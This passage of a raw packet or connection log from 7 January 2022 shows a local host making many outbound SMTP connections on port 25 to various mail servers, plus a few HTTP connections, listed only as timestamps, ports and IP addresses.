Jan 7, 2022 15:56:16.341900110 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341928005 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341950893 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341969013 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341985941 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342067957 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342097044 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342122078 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342149973 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342225075 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342250109 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342274904 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342302084 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342329025 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342394114 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342422009 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342478991 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342506886 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342531919 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342576027 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342602015 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342681885 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342706919 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342731953 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342756987 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342881918 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342909098 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.342933893 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343008041 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343035936 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343061924 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343085051 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343110085 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343167067 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.343257904 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.343300104 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.347457886 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.347476959 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.347590923 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.350179911 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.389286995 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.389302969 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.389357090 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.389385939 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.392306089 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.392379999 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.395742893 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.400399923 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.452922106 CET	49793	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:16.459188938 CET	49794	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:16.487629890 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.487693071 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.577121973 CET	25	49794	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:16.577225924 CET	49794	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:16.578299046 CET	49794	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:16.653557062 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.674068928 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.674153090 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.693088055 CET	25	49794	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:16.729505062 CET	49796	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:16.739957094 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.742160082 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.762737036 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.762773991 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.762895107 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.783535004 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.786173105 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.786215067 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.806912899 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.807168007 CET	25	49795	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:16.807264090 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.807291985 CET	49795	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:16.809475899 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:16.809607029 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:16.868563890 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:16.868690014 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:16.927483082 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:16.927598000 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:17.009654045 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:17.009761095 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:17.009812117 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:17.010113001 CET	49797	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:17.041932106 CET	25	49796	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:17.042004108 CET	49796	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:17.042140961 CET	49796	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:17.070082903 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:17.070197105 CET	25	49789	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:17.070318937 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:17.070378065 CET	49789	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:17.085009098 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:17.087642908 CET	49799	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.095782995 CET	49782	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:17.127043009 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:17.128210068 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:17.190151930 CET	25	49799	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.190504074 CET	49799	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.190610886 CET	49799	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.226732969 CET	49800	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:17.256004095 CET	49801	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:17.293061018 CET	25	49799	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.294047117 CET	25	49799	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.294214964 CET	25	49799	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.294264078 CET	49799	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.294286966 CET	49799	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.347176075 CET	25	49796	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:17.347459078 CET	49796	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:17.347460985 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.347934961 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.358130932 CET	25	49796	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:17.401741028 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.401819944 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.450877905 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.452651978 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.457050085 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.459580898 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.459702015 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.460180044 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.460232019 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.460264921 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.475699902 CET	25	49796	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:17.478055000 CET	49796	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:17.538404942 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.538544893 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.558228970 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.558419943 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.559191942 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.574305058 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.577140093 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.579793930 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.579933882 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.595733881 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.595778942 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.595930099 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.596208096 CET	25	49794	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.596290112 CET	49794	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.596334934 CET	25	49794	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.596410990 CET	49794	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.645215034 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.645358086 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.660058022 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.660718918 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.661263943 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.661670923 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.661781073 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.681216955 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.681238890 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.681543112 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.689271927 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.689307928 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.689400911 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.699166059 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.699198961 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.699208021 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.699325085 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.701989889 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.703799963 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.703821898 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.724222898 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.724545002 CET	25	49806	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:17.724703074 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.725310087 CET	49806	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:17.764739990 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.765741110 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.765892982 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.766014099 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.766053915 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.766073942 CET	49803	25	192.168.2.4	104.47.58.161
Jan 7, 2022 15:56:17.788568020 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.789000988 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.794028044 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.799173117 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.799287081 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.801876068 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.802000999 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.802027941 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.802083969 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.802104950 CET	49802	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:17.802259922 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:17.846143961 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.853092909 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.857032061 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.858170033 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.858190060 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.863928080 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.864562988 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.864989042 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.868808985 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.868834019 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.868870020 CET	25	49803	104.47.58.161	192.168.2.4
Jan 7, 2022 15:56:17.914158106 CET	25	49802	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:17.915440083 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.915482998 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.915618896 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.915649891 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:17.915724993 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.915759087 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:17.916384935 CET	25	49804	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.916590929 CET	49804	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.919889927 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.919926882 CET	25	49805	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:17.919966936 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:17.919994116 CET	49805	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:18.060945034 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.064574957 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:18.178133011 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.178174973 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.178299904 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:18.292309999 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.292363882 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.292444944 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:18.292500973 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:18.292510986 CET	49807	25	192.168.2.4	67.195.204.79
Jan 7, 2022 15:56:18.292958021 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:18.406080008 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.406131029 CET	25	49807	67.195.204.79	192.168.2.4
Jan 7, 2022 15:56:18.457376957 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:18.460974932 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:18.681694984 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:18.682516098 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:18.846600056 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:18.846622944 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:18.846858025 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:19.011457920 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:19.011606932 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:19.011624098 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:19.011693001 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:19.011754990 CET	49808	25	192.168.2.4	67.195.228.110
Jan 7, 2022 15:56:19.178287029 CET	25	49808	67.195.228.110	192.168.2.4
Jan 7, 2022 15:56:19.199529886 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.199630022 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.241822958 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.243000984 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.243110895 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.285167933 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.295758009 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.295893908 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.338044882 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.349873066 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.349993944 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.350027084 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.352590084 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:19.391906977 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.391997099 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.392292976 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.392312050 CET	25	49798	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:19.392379045 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.392406940 CET	49798	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:19.394474983 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:19.395034075 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:19.455375910 CET	49793	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:20.017930031 CET	49797	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:20.236682892 CET	49800	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:20.267951012 CET	49801	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:21.448719025 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.449006081 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.491858006 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.492721081 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.492954016 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.534827948 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.581378937 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.584604025 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.626605988 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.634335995 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.634535074 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.634921074 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.634929895 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:21.675609112 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:21.675791025 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:21.676389933 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.676647902 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.677148104 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.677172899 CET	25	49809	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:21.677243948 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:21.677304029 CET	49809	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:23.733614922 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.734285116 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.774992943 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.775542974 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.775754929 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.816385031 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.827124119 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.827410936 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.868104935 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.874028921 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.874167919 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.874202013 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.915016890 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.915052891 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.915309906 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.915333986 CET	25	49810	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:23.915383101 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.915429115 CET	49810	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:23.931292057 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.120932102 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:24.121131897 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.335716009 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:24.335978031 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.528206110 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:24.530884027 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:24.531341076 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.725152016 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:24.728449106 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.918463945 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:24.960153103 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.110943079 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.111120939 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.205393076 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.205610037 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.395302057 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.407715082 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.407963991 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.408412933 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.456370115 CET	49793	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:25.600101948 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.600136042 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.600146055 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.600267887 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.600326061 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.639199018 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.639302015 CET	49812	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.644149065 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.644237041 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.789861917 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.789907932 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.789935112 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.789959908 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.789987087 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.790004015 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.790023088 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.790020943 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.790039062 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.790107965 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.790127993 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.790158987 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.790208101 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.831685066 CET	25	49812	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.833708048 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.833724022 CET	25	49811	44.239.72.13	192.168.2.4
Jan 7, 2022 15:56:25.833797932 CET	49811	25	192.168.2.4	44.239.72.13
Jan 7, 2022 15:56:25.833844900 CET	49811	25	192.168.2.4	44.239.72.13
